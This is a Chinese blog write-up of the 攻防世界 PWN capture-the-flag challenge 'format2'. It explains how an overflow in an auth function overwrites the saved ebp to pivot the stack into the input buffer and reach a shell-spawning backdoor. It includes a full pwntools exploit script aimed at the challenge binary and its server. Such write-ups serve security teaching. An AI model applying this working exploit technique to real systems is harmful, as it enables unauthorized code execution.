攻防世界PWN之format2题解

161 篇文章 9 订阅
161 篇文章 9 订阅

format2(整数地址空间溢出)

本题需要细心

首先,检测一下程序保护机制

虽然说开启了CANARY,但是关键的几个函数没有开启这个机制,这道题因为libc库静态链接到文件里,所以才造成这种干扰。

我们用IDA分析一下

后门函数

溢出点在这,memcpy传入的是v4的地址,而v4int,最多也就8字节,因此这里可以溢出

程序的流程是将我们输入的字符串进行BASE64解密后,再调用auth函数验证,成功就执行shell。但是auth函数存在溢出漏洞

我们再看看auth的汇编代码

auth的函数的栈布局是这样的

0x4字节(esp)

栈顶

………..

0x8字节(ebp-0x8)

存储着v4的值

0x4字节(ebp)

(栈底) 存储着上一个函数(main)的ebp

0x4字节(ebp + 0x4)

auth的返回地址

并且主函数里做了判断base64解密后的长度不能大于12

也就是说,我们的payload长度最长为12,我们可以溢出v4 到后面4个字节,也就是会覆盖authebp的内容

我们知道,main进入auth函数时,是这样的

  1. push ebp  
  2. mov esp,ebp  
  3. sub esp,0x28  

而退出auth函数时,即执行leave指令时,是这样的

  1. mov esp,ebp  
  2. pop ebp  

也就是说,authebp存的内容为mainebp

当退出auth函数时,ebp被复原为main函数的ebp,了解更多请学习汇编

 

那么,如果我们溢出,把auth的ebp处写为input的地址会怎么样?

为了便于分析,我们的input存入如下内容aaaabbbbcccc

那么auth依然正常退出到main,但是mainebp变成了ccccmain要退出时,执行leave指令mov esp,ebp

esp变成了cccc,那么pop ebp就使得ebp = [cccc],

接下来,retn 即执行call [cccc+ 4]

因此,我们把bbbb改成我们的getshell的地址,把cccc改成input_addr,那么我们就能get shell。

综上,我们的exp脚本如下

  1. #coding:utf8  
  2. from pwn import *  
  3. import base64  
  4.   
  5. context.log_level = 'debug'  
  6. sh = process('./pwnh19')  
  7. #sh = remote('111.198.29.45',49124)  
  8. elf = ELF('./pwnh19')  
  9. #bss段的input区域  
  10. input_addr = elf.sym['input']  
  11. getshell_addr = elf.sym['correct'] + 0x19  
  12.   
  13. sh.recvuntil('Authenticate :')  
  14.   
  15. #覆盖auth函数的ebp内容,也就是修改了上一个函数的ebp,使得上一个函数(main)ebp指向了input_addr  
  16. #那么,当main函数leave时,有  
  17. #mov esp,ebp  ;esp = input_addr  
  18. #pop ebp  ;ebp = aaaa  
  19. #retn ; call getshell_addr  
  20. payload = 'a'*4 + p32(getshell_addr) + p32(input_addr)  
  21.   
  22. sh.sendline(base64.b64encode(payload))  
  23.   
  24. sh.interactive() 
  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值